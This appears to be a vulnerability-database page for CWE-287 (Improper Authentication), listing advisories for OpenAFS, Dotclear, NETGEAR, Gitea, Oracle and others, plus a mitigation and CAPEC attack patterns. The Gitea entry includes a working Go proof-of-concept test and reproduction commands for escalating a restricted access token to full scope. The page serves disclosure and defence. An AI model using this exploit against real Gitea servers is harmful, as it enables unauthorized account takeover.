Common Weakness Enumeration

CWE-287

Discouraged

Improper Authentication

Abstraction: Class · Status: Draft

When an actor claims to have a given identity, the product does not prove or insufficiently proves that the claim is correct.

6178 vulnerabilities reference this CWE, most recent first.

GHSA-67MR-RVH8-9QX2

Vulnerability from github – Published: 2022-05-13 01:50 – Updated: 2022-05-13 01:50
VLAI
Details

An issue was discovered in OpenAFS before 1.6.23 and 1.8.x before 1.8.2. The backup tape controller (butc) process accepts incoming RPCs but does not require (or allow for) authentication of those RPCs. Handling those RPCs results in operations being performed with administrator credentials, including dumping/restoring volume contents and manipulating the backup database. For example, an unauthenticated attacker can replace any volume's content with arbitrary data.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2018-16947"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-287"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2018-09-12T01:29:00Z",
    "severity": "CRITICAL"
  },
  "details": "An issue was discovered in OpenAFS before 1.6.23 and 1.8.x before 1.8.2. The backup tape controller (butc) process accepts incoming RPCs but does not require (or allow for) authentication of those RPCs. Handling those RPCs results in operations being performed with administrator credentials, including dumping/restoring volume contents and manipulating the backup database. For example, an unauthenticated attacker can replace any volume\u0027s content with arbitrary data.",
  "id": "GHSA-67mr-rvh8-9qx2",
  "modified": "2022-05-13T01:50:28Z",
  "published": "2022-05-13T01:50:28Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2018-16947"
    },
    {
      "type": "WEB",
      "url": "https://lists.debian.org/debian-lts-announce/2018/09/msg00024.html"
    },
    {
      "type": "WEB",
      "url": "https://www.debian.org/security/2018/dsa-4302"
    },
    {
      "type": "WEB",
      "url": "http://openafs.org/pages/security/OPENAFS-SA-2018-001.txt"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-67P5-4GJP-J4VW

Vulnerability from github – Published: 2022-05-17 04:42 – Updated: 2022-05-17 04:42
VLAI
Details

The dcXmlRpc::setUser method in nc/core/class.dc.xmlrpc.php in Dotclear before 2.6.3 allows remote attackers to bypass authentication via an empty password in an XML-RPC request.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2014-3781"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-287"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2014-06-11T14:55:00Z",
    "severity": "MODERATE"
  },
  "details": "The dcXmlRpc::setUser method in nc/core/class.dc.xmlrpc.php in Dotclear before 2.6.3 allows remote attackers to bypass authentication via an empty password in an XML-RPC request.",
  "id": "GHSA-67p5-4gjp-j4vw",
  "modified": "2022-05-17T04:42:21Z",
  "published": "2022-05-17T04:42:21Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2014-3781"
    },
    {
      "type": "WEB",
      "url": "http://dotclear.org/blog/post/2014/05/16/Dotclear-2.6.3"
    },
    {
      "type": "WEB",
      "url": "http://karmainsecurity.com/KIS-2014-05"
    },
    {
      "type": "WEB",
      "url": "http://packetstormsecurity.com/files/126766/Dotclear-2.6.2-Authentication-Bypass.html"
    },
    {
      "type": "WEB",
      "url": "http://seclists.org/fulldisclosure/2014/May/107"
    },
    {
      "type": "WEB",
      "url": "http://secunia.com/advisories/58675"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-67PQ-R8MX-QPPW

Vulnerability from github – Published: 2022-05-14 02:48 – Updated: 2022-05-14 02:48
VLAI
Details

Soreco Xpert.Line 3.0 allows local users to spoof users and consequently gain privileges by intercepting a Windows API call.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2015-3442"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-287"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2017-09-07T13:29:00Z",
    "severity": "CRITICAL"
  },
  "details": "Soreco Xpert.Line 3.0 allows local users to spoof users and consequently gain privileges by intercepting a Windows API call.",
  "id": "GHSA-67pq-r8mx-qppw",
  "modified": "2022-05-14T02:48:49Z",
  "published": "2022-05-14T02:48:49Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2015-3442"
    },
    {
      "type": "WEB",
      "url": "https://www.compass-security.com/fileadmin/Datein/Research/Advisories/CSNC-2015-001_Authentication_Bypass_Xpert_Line.txt"
    },
    {
      "type": "WEB",
      "url": "http://packetstormsecurity.com/files/132549/Soreco-AG-Xpert.Line-3.0-Authentication-Bypass.html"
    },
    {
      "type": "WEB",
      "url": "http://seclists.org/fulldisclosure/2015/Jul/9"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/archive/1/535923/100/0/threaded"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/75542"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-67R7-53FX-P88C

Vulnerability from github – Published: 2022-05-01 18:38 – Updated: 2022-05-01 18:38
VLAI
Details

Unspecified vulnerability in main.php of BugHotel Reservation System before 4.9.9 P3 allows remote attackers to bypass authentication and gain administrative access via unspecified vectors. NOTE: the provenance of this information is unknown; the details are obtained solely from third party information.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2007-6011"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-287"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2007-11-16T00:46:00Z",
    "severity": "HIGH"
  },
  "details": "Unspecified vulnerability in main.php of BugHotel Reservation System before 4.9.9 P3 allows remote attackers to bypass authentication and gain administrative access via unspecified vectors.  NOTE: the provenance of this information is unknown; the details are obtained solely from third party information.",
  "id": "GHSA-67r7-53fx-p88c",
  "modified": "2022-05-01T18:38:42Z",
  "published": "2022-05-01T18:38:42Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2007-6011"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/26178"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-6826-CFF7-FH67

Vulnerability from github – Published: 2026-04-04 00:31 – Updated: 2026-04-04 00:31
VLAI
Details

ProSoft Technology ICX35-HWC version 1.3 and prior cellular gateways contain an authentication bypass vulnerability in the web user interface that allows unauthenticated attackers to gain access to administrative functions without valid credentials. Attackers can bypass the authentication mechanism in affected firmware versions to obtain full administrative access to device configuration and settings.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2017-20235"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-287"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-04-03T23:17:00Z",
    "severity": "CRITICAL"
  },
  "details": "ProSoft Technology ICX35-HWC version 1.3 and prior cellular gateways contain an authentication bypass vulnerability in the web user interface that allows unauthenticated attackers to gain access to administrative functions without valid credentials. Attackers can bypass the authentication mechanism in affected firmware versions to obtain full administrative access to device configuration and settings.",
  "id": "GHSA-6826-cff7-fh67",
  "modified": "2026-04-04T00:31:26Z",
  "published": "2026-04-04T00:31:26Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2017-20235"
    },
    {
      "type": "WEB",
      "url": "https://assets.belden.com/m/1281cac2c9e90abf/original/Security-Bulletin-Authentication-Security-ProSoft-ICX35-BSECV-2017-09.pdf"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/prosoft-technology-icx35-hwc-authentication-bypass"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-682F-956R-W9GV

Vulnerability from github – Published: 2022-05-02 03:15 – Updated: 2022-05-02 03:15
VLAI
Details

IBM WebSphere Partner Gateway (WPG) 6.0.0 through 6.0.0.7 does not properly handle failures of signature verification, which might allow remote authenticated users to submit a crafted RosettaNet (aka RNIF) document to a backend application, related to (1) "altered service content" and (2) "digital signature foot-print."

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2009-0440"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-287"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2009-02-22T22:30:00Z",
    "severity": "MODERATE"
  },
  "details": "IBM WebSphere Partner Gateway (WPG) 6.0.0 through 6.0.0.7 does not properly handle failures of signature verification, which might allow remote authenticated users to submit a crafted RosettaNet (aka RNIF) document to a backend application, related to (1) \"altered service content\" and (2) \"digital signature foot-print.\"",
  "id": "GHSA-682f-956r-w9gv",
  "modified": "2022-05-02T03:15:25Z",
  "published": "2022-05-02T03:15:25Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2009-0440"
    },
    {
      "type": "WEB",
      "url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/48530"
    },
    {
      "type": "WEB",
      "url": "http://secunia.com/advisories/33994"
    },
    {
      "type": "WEB",
      "url": "http://www-01.ibm.com/support/docview.wss?uid=swg21330341"
    },
    {
      "type": "WEB",
      "url": "http://www-1.ibm.com/support/docview.wss?uid=swg1JR31231"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/33839"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-682M-W565-78QM

Vulnerability from github – Published: 2022-05-24 17:44 – Updated: 2022-05-24 17:44
VLAI
Details

The NSDP protocol implementation on NETGEAR JGS516PE/GS116Ev2 v2.6.0.43 devices was affected by an authentication issue that allows an attacker to bypass access controls and obtain full control of the device.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2020-35231"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-287"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2021-03-10T19:15:00Z",
    "severity": "HIGH"
  },
  "details": "The NSDP protocol implementation on NETGEAR JGS516PE/GS116Ev2 v2.6.0.43 devices was affected by an authentication issue that allows an attacker to bypass access controls and obtain full control of the device.",
  "id": "GHSA-682m-w565-78qm",
  "modified": "2022-05-24T17:44:05Z",
  "published": "2022-05-24T17:44:05Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-35231"
    },
    {
      "type": "WEB",
      "url": "https://research.nccgroup.com/2021/03/08/technical-advisory-multiple-vulnerabilities-in-netgear-prosafe-plus-jgs516pe-gs116ev2-switches"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-683H-34R2-XC99

Vulnerability from github – Published: 2024-10-03 21:31 – Updated: 2024-10-04 00:31
VLAI
Details

DrayTek Vigor310 devices through 4.3.2.6 use unencrypted HTTP for authentication requests.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2024-41589"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-287"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-10-03T19:15:04Z",
    "severity": "HIGH"
  },
  "details": "DrayTek Vigor310 devices through 4.3.2.6 use unencrypted HTTP for authentication requests.",
  "id": "GHSA-683h-34r2-xc99",
  "modified": "2024-10-04T00:31:13Z",
  "published": "2024-10-03T21:31:04Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-41589"
    },
    {
      "type": "WEB",
      "url": "https://www.forescout.com/resources/draybreak-draytek-research"
    },
    {
      "type": "WEB",
      "url": "https://www.forescout.com/resources/draytek14-vulnerabilities"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-683J-3FF6-HH2X

Vulnerability from github – Published: 2026-07-21 20:24 – Updated: 2026-07-21 20:24
VLAI
Summary
Gitea: Privilege Escalation via Access Token Scope Escalation in API
Details

Gitea's API endpoint for creating Personal Access Tokens (POST /users/{username}/tokens) is protected by a middleware (reqBasicOrRevProxyAuth) that is intended to require password-based authentication, preventing a compromised token from being used to mint new ones. However, when a token is passed in the Authorization: Basic <token>:x-oauth-basic format, the Basic auth handler validates it and sets AuthedMethod="basic", causing IsBasicAuth=true and fooling the middleware into passing the request. Once past the guard, the token creation handler applies no scope ceiling — it will create a new token with any requested scope regardless of the caller's scope. An attacker with a restricted token (e.g. write:user from a leaked CI secret) can therefore create a fully-privileged all-scoped token without knowing the account password.

Data flow

Step 1 - Token extracted from Basic auth header

When the attacker sends Authorization: Basic base64(:x-oauth-basic), parseAuthBasic detects that the password is "x-oauth-basic" and treats the username field as the token:

https://github.com/go-gitea/gitea/blob/9155a81b9daf1d46b2380aa91271e623ac947c1e/services/auth/basic.go#L55-L64

VerifyAuthToken then validates the token against the database and sets LoginMethod = "access_token" and ApiTokenScope to the token's actual scope (write:user):

https://github.com/go-gitea/gitea/blob/9155a81b9daf1d46b2380aa91271e623ac947c1e/services/auth/basic.go#L100-L106

Step 2 - AuthedMethod is set to "basic", not "access_token"

Basic.Verify() returns the user successfully, so group.Verify() sets AuthedMethod to the method's name — "basic" — regardless of whether a password or token was used:

https://github.com/go-gitea/gitea/blob/9155a81b9daf1d46b2380aa91271e623ac947c1e/services/auth/group.go#L63-L65

Step 3 - IsBasicAuth is incorrectly set to true

AuthShared computes IsBasicAuth by comparing AuthedMethod against the constant "basic". Since step 2 set that field to "basic" for a token-authenticated request, the flag is wrong:

https://github.com/go-gitea/gitea/blob/9155a81b9daf1d46b2380aa91271e623ac947c1e/routers/common/auth.go#L27

Step 4 - The guard is bypassed

reqBasicOrRevProxyAuth checks only ctx.IsBasicAuth. Because that flag is true, the middleware passes and the request reaches CreateAccessToken:

https://github.com/go-gitea/gitea/blob/9155a81b9daf1d46b2380aa91271e623ac947c1e/routers/api/v1/api.go#L392-L401

Step 5 - No scope ceiling in the handler

CreateAccessToken normalizes the caller-supplied scope and assigns it directly to the new token. There is no check that the requested scope is a subset of ApiTokenScope (write:user):

https://github.com/go-gitea/gitea/blob/9155a81b9daf1d46b2380aa91271e623ac947c1e/routers/api/v1/user/app.go#L119-L128

Reproducing

tests/integration/api_token_scope_escalation_test.go

package integration

import (
    "net/http"
    "testing"

    auth_model "gitea.dev/models/auth"
    "gitea.dev/models/unittest"
    user_model "gitea.dev/models/user"
    api "gitea.dev/modules/structs"
    "gitea.dev/tests"

    "github.com/stretchr/testify/assert"
    "github.com/stretchr/testify/require"
)

// TestAPIPrivilegeEscalationViaBasicAuthToken is a proof-of-concept for two
// interconnected vulnerabilities that together allow full scope escalation:
//
//  1. reqBasicOrRevProxyAuth() is fooled into passing when a PAT is supplied in
//     the Authorization: Basic "<token>:x-oauth-basic" format. The Basic auth
//     handler sets AuthedMethod="basic" (the method name), so IsBasicAuth=true
//     even though the credential is a token, not a password.
//
//  2. CreateAccessToken performs no scope-ceiling check — it never verifies that
//     the requested scopes are a subset of the caller's token scopes.
//
// Combined effect: an attacker with a write:user-scoped token can create a new
// token with the "all" scope, gaining full access to the account.
func TestAPIPrivilegeEscalationViaBasicAuthToken(t *testing.T) {
    defer tests.PrepareTestEnv(t)()

    // Non-admin user — escalation is meaningful and not trivially justified.
    user := unittest.AssertExistsAndLoadBean(t, &user_model.User{ID: 2})

    // Step 1 — Obtain a legitimately restricted token via password-based Basic auth.
    // Only write:user scope is granted; repository, admin, etc. are excluded.
    restrictedToken := createAPIAccessTokenWithoutCleanUp(t, "poc-restricted", user,
        []auth_model.AccessTokenScope{auth_model.AccessTokenScopeWriteUser})
    defer deleteAPIAccessToken(t, restrictedToken, user)

    // Confirm the restricted token is blocked from repository-scoped endpoints.
    // This establishes the baseline: write:user does not imply read:repository.
    req := NewRequest(t, "GET", "/api/v1/repos/search").
        AddTokenAuth(restrictedToken.Token)
    MakeRequest(t, req, http.StatusForbidden)

    // Step 2 — Exploit: supply the restricted token as Basic auth credentials.
    // Authorization: Basic base64("<token>:x-oauth-basic")
    //
    // Basic.Verify() validates the token and returns the user. group.Verify() then
    // sets AuthedMethod="basic" (the method name). auth.go maps that to
    // IsBasicAuth=true, satisfying reqBasicOrRevProxyAuth() even though no
    // password was provided. CreateAccessToken then creates the token with the
    // requested "all" scope without checking whether it exceeds the caller's scope.
    payload := map[string]any{
        "name":   "poc-escalated",
        "scopes": []string{"all"},
    }
    req = NewRequestWithJSON(t, "POST", "/api/v1/users/"+user.LoginName+"/tokens", payload)
    req.SetBasicAuth(restrictedToken.Token, "x-oauth-basic")

    // This should be 403 (scope ceiling not enforced and IsBasicAuth check bypassed)
    // but is currently 201, confirming the vulnerability.
    resp := MakeRequest(t, req, http.StatusCreated)

    escalatedToken := DecodeJSON(t, resp, &api.AccessToken{})
    require.NotNil(t, escalatedToken)
    defer deleteAPIAccessToken(t, *escalatedToken, user)

    // Step 3 — The escalated token carries the "all" scope.
    assert.Contains(t, escalatedToken.Scopes, "all",
        "escalated token scope must be 'all'; original token only had write:user")

    // Step 4 — The escalated token can now reach endpoints blocked to the original
    // token, confirming real privilege gain beyond write:user.
    req = NewRequest(t, "GET", "/api/v1/repos/search").
        AddTokenAuth(escalatedToken.Token)
    MakeRequest(t, req, http.StatusOK)
}
git clone https://github.com/go-gitea/gitea
cd gitea
git checkout 9155a81b9daf1d46b2380aa91271e623ac947c1e

# Place the unit test above at `tests/integration/api_token_scope_escalation_test.go`.

go test -run '^TestAPIPrivilegeEscalationViaBasicAuthToken$' ./tests/integration/

A passing result confirms the vulnerability. The test output will show the two critical lines: the exploit POST returning 201 Created and the follow-up GET /api/v1/repos/search returning 200 OK with the escalated token.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "code.gitea.io/gitea"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.27.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-56654"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-287"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-21T20:24:25Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "Gitea\u0027s API endpoint for creating Personal Access Tokens (`POST /users/{username}/tokens`) is protected by a middleware (`reqBasicOrRevProxyAuth`) that is intended to require password-based authentication, preventing a compromised token from being used to mint new ones. However, when a token is passed in the `Authorization: Basic \u003ctoken\u003e:x-oauth-basic` format, the Basic auth handler validates it and sets `AuthedMethod=\"basic\"`, causing `IsBasicAuth=true` and fooling the middleware into passing the request. Once past the guard, the token creation handler applies no scope ceiling \u2014 it will create a new token with any requested scope regardless of the caller\u0027s scope. An attacker with a restricted token (e.g. `write:user` from a leaked CI secret) can therefore create a fully-privileged `all`-scoped token without knowing the account password.\n\n### Data flow\n\n#### Step 1 - Token extracted from Basic auth header\n  \nWhen the attacker sends Authorization: Basic base64(\u003ctoken\u003e:x-oauth-basic), parseAuthBasic detects that the password is \"x-oauth-basic\" and treats the username field as the token:\n\nhttps://github.com/go-gitea/gitea/blob/9155a81b9daf1d46b2380aa91271e623ac947c1e/services/auth/basic.go#L55-L64\n\n`VerifyAuthToken` then validates the token against the database and sets `LoginMethod = \"access_token\"` and `ApiTokenScope` to the token\u0027s actual scope (`write:user`):\n\nhttps://github.com/go-gitea/gitea/blob/9155a81b9daf1d46b2380aa91271e623ac947c1e/services/auth/basic.go#L100-L106\n\n#### Step 2 - `AuthedMethod` is set to `\"basic\"`, not `\"access_token\"`\n\n`Basic.Verify()` returns the user successfully, so `group.Verify()` sets `AuthedMethod` to the method\u0027s name \u2014 `\"basic\"` \u2014 regardless of whether a password or token was used:\n\nhttps://github.com/go-gitea/gitea/blob/9155a81b9daf1d46b2380aa91271e623ac947c1e/services/auth/group.go#L63-L65\n\n#### Step 3 - `IsBasicAuth` is incorrectly set to true\n\n`AuthShared` computes `IsBasicAuth` by comparing `AuthedMethod` against the constant `\"basic\"`. Since step 2 set that field to \"basic\" for a token-authenticated request, the flag is wrong:\n\nhttps://github.com/go-gitea/gitea/blob/9155a81b9daf1d46b2380aa91271e623ac947c1e/routers/common/auth.go#L27\n\n#### Step 4 - The guard is bypassed\n\n`reqBasicOrRevProxyAuth` checks only `ctx.IsBasicAuth`. Because that flag is `true`, the middleware passes and the request reaches `CreateAccessToken`:\n\nhttps://github.com/go-gitea/gitea/blob/9155a81b9daf1d46b2380aa91271e623ac947c1e/routers/api/v1/api.go#L392-L401\n\n#### Step 5 - No scope ceiling in the handler\n\n`CreateAccessToken` normalizes the caller-supplied scope and assigns it directly to the new token. There is no check that the requested scope is a subset of `ApiTokenScope (write:user)`:\n\nhttps://github.com/go-gitea/gitea/blob/9155a81b9daf1d46b2380aa91271e623ac947c1e/routers/api/v1/user/app.go#L119-L128\n\n### Reproducing\n\n`tests/integration/api_token_scope_escalation_test.go`\n```go\npackage integration\n\nimport (\n\t\"net/http\"\n\t\"testing\"\n\n\tauth_model \"gitea.dev/models/auth\"\n\t\"gitea.dev/models/unittest\"\n\tuser_model \"gitea.dev/models/user\"\n\tapi \"gitea.dev/modules/structs\"\n\t\"gitea.dev/tests\"\n\n\t\"github.com/stretchr/testify/assert\"\n\t\"github.com/stretchr/testify/require\"\n)\n\n// TestAPIPrivilegeEscalationViaBasicAuthToken is a proof-of-concept for two\n// interconnected vulnerabilities that together allow full scope escalation:\n//\n//  1. reqBasicOrRevProxyAuth() is fooled into passing when a PAT is supplied in\n//     the Authorization: Basic \"\u003ctoken\u003e:x-oauth-basic\" format. The Basic auth\n//     handler sets AuthedMethod=\"basic\" (the method name), so IsBasicAuth=true\n//     even though the credential is a token, not a password.\n//\n//  2. CreateAccessToken performs no scope-ceiling check \u2014 it never verifies that\n//     the requested scopes are a subset of the caller\u0027s token scopes.\n//\n// Combined effect: an attacker with a write:user-scoped token can create a new\n// token with the \"all\" scope, gaining full access to the account.\nfunc TestAPIPrivilegeEscalationViaBasicAuthToken(t *testing.T) {\n\tdefer tests.PrepareTestEnv(t)()\n\n\t// Non-admin user \u2014 escalation is meaningful and not trivially justified.\n\tuser := unittest.AssertExistsAndLoadBean(t, \u0026user_model.User{ID: 2})\n\n\t// Step 1 \u2014 Obtain a legitimately restricted token via password-based Basic auth.\n\t// Only write:user scope is granted; repository, admin, etc. are excluded.\n\trestrictedToken := createAPIAccessTokenWithoutCleanUp(t, \"poc-restricted\", user,\n\t\t[]auth_model.AccessTokenScope{auth_model.AccessTokenScopeWriteUser})\n\tdefer deleteAPIAccessToken(t, restrictedToken, user)\n\n\t// Confirm the restricted token is blocked from repository-scoped endpoints.\n\t// This establishes the baseline: write:user does not imply read:repository.\n\treq := NewRequest(t, \"GET\", \"/api/v1/repos/search\").\n\t\tAddTokenAuth(restrictedToken.Token)\n\tMakeRequest(t, req, http.StatusForbidden)\n\n\t// Step 2 \u2014 Exploit: supply the restricted token as Basic auth credentials.\n\t// Authorization: Basic base64(\"\u003ctoken\u003e:x-oauth-basic\")\n\t//\n\t// Basic.Verify() validates the token and returns the user. group.Verify() then\n\t// sets AuthedMethod=\"basic\" (the method name). auth.go maps that to\n\t// IsBasicAuth=true, satisfying reqBasicOrRevProxyAuth() even though no\n\t// password was provided. CreateAccessToken then creates the token with the\n\t// requested \"all\" scope without checking whether it exceeds the caller\u0027s scope.\n\tpayload := map[string]any{\n\t\t\"name\":   \"poc-escalated\",\n\t\t\"scopes\": []string{\"all\"},\n\t}\n\treq = NewRequestWithJSON(t, \"POST\", \"/api/v1/users/\"+user.LoginName+\"/tokens\", payload)\n\treq.SetBasicAuth(restrictedToken.Token, \"x-oauth-basic\")\n\n\t// This should be 403 (scope ceiling not enforced and IsBasicAuth check bypassed)\n\t// but is currently 201, confirming the vulnerability.\n\tresp := MakeRequest(t, req, http.StatusCreated)\n\n\tescalatedToken := DecodeJSON(t, resp, \u0026api.AccessToken{})\n\trequire.NotNil(t, escalatedToken)\n\tdefer deleteAPIAccessToken(t, *escalatedToken, user)\n\n\t// Step 3 \u2014 The escalated token carries the \"all\" scope.\n\tassert.Contains(t, escalatedToken.Scopes, \"all\",\n\t\t\"escalated token scope must be \u0027all\u0027; original token only had write:user\")\n\n\t// Step 4 \u2014 The escalated token can now reach endpoints blocked to the original\n\t// token, confirming real privilege gain beyond write:user.\n\treq = NewRequest(t, \"GET\", \"/api/v1/repos/search\").\n\t\tAddTokenAuth(escalatedToken.Token)\n\tMakeRequest(t, req, http.StatusOK)\n}\n```\n\n```bash\ngit clone https://github.com/go-gitea/gitea\ncd gitea\ngit checkout 9155a81b9daf1d46b2380aa91271e623ac947c1e\n\n# Place the unit test above at `tests/integration/api_token_scope_escalation_test.go`.\n\ngo test -run \u0027^TestAPIPrivilegeEscalationViaBasicAuthToken$\u0027 ./tests/integration/\n```\n\nA passing result confirms the vulnerability. The test output will show the two critical lines: the exploit POST returning 201 Created and the follow-up GET /api/v1/repos/search returning 200 OK with the escalated token.",
  "id": "GHSA-683j-3ff6-hh2x",
  "modified": "2026-07-21T20:24:26Z",
  "published": "2026-07-21T20:24:25Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/go-gitea/gitea/security/advisories/GHSA-683j-3ff6-hh2x"
    },
    {
      "type": "WEB",
      "url": "https://github.com/go-gitea/gitea/pull/38406"
    },
    {
      "type": "WEB",
      "url": "https://github.com/go-gitea/gitea/pull/38426"
    },
    {
      "type": "WEB",
      "url": "https://github.com/go-gitea/gitea/commit/de4b8277e9cb576f2315fb03b5ab6478b42a1d31"
    },
    {
      "type": "WEB",
      "url": "https://github.com/go-gitea/gitea/commit/f69e15afe7496cc62e96dab244629c69eb31a7bf"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/go-gitea/gitea"
    },
    {
      "type": "WEB",
      "url": "https://github.com/go-gitea/gitea/releases/tag/v1.27.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Gitea: Privilege Escalation via Access Token Scope Escalation in API"
}

GHSA-6857-WWFR-22GX

Vulnerability from github – Published: 2026-07-22 00:31 – Updated: 2026-07-22 00:31
VLAI
Details

Vulnerability in the Oracle Transportation Management product of Oracle Supply Chain (component: Authentication). The supported version that is affected is 6.5.3. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Transportation Management. Successful attacks of this vulnerability can result in unauthorized read access to a subset of Oracle Transportation Management accessible data. CVSS 3.1 Base Score 4.3 (Confidentiality impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N).

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-60434"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-287"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-07-21T22:17:45Z",
    "severity": "MODERATE"
  },
  "details": "Vulnerability in the Oracle Transportation Management product of Oracle Supply Chain (component: Authentication).   The supported version that is affected is 6.5.3. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Transportation Management.  Successful attacks of this vulnerability can result in  unauthorized read access to a subset of Oracle Transportation Management accessible data. CVSS 3.1 Base Score 4.3 (Confidentiality impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N).",
  "id": "GHSA-6857-wwfr-22gx",
  "modified": "2026-07-22T00:31:41Z",
  "published": "2026-07-22T00:31:41Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-60434"
    },
    {
      "type": "WEB",
      "url": "https://www.oracle.com/security-alerts/cpujul2026.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

Mitigation
Architecture and Design

Strategy: Libraries or Frameworks

Use an authentication framework or library such as the OWASP ESAPI Authentication feature.

CAPEC-114: Authentication Abuse

An attacker obtains unauthorized access to an application, service or device either through knowledge of the inherent weaknesses of an authentication mechanism, or by exploiting a flaw in the authentication scheme's implementation. In such an attack an authentication mechanism is functioning but a carefully controlled sequence of events causes the mechanism to grant access to the attacker.

CAPEC-115: Authentication Bypass

An attacker gains access to application, service, or device with the privileges of an authorized or privileged user by evading or circumventing an authentication mechanism. The attacker is therefore able to access protected data without authentication ever having taken place.

CAPEC-151: Identity Spoofing

Identity Spoofing refers to the action of assuming (i.e., taking on) the identity of some other entity (human or non-human) and then using that identity to accomplish a goal. An adversary may craft messages that appear to come from a different principle or use stolen / spoofed authentication credentials.

CAPEC-194: Fake the Source of Data

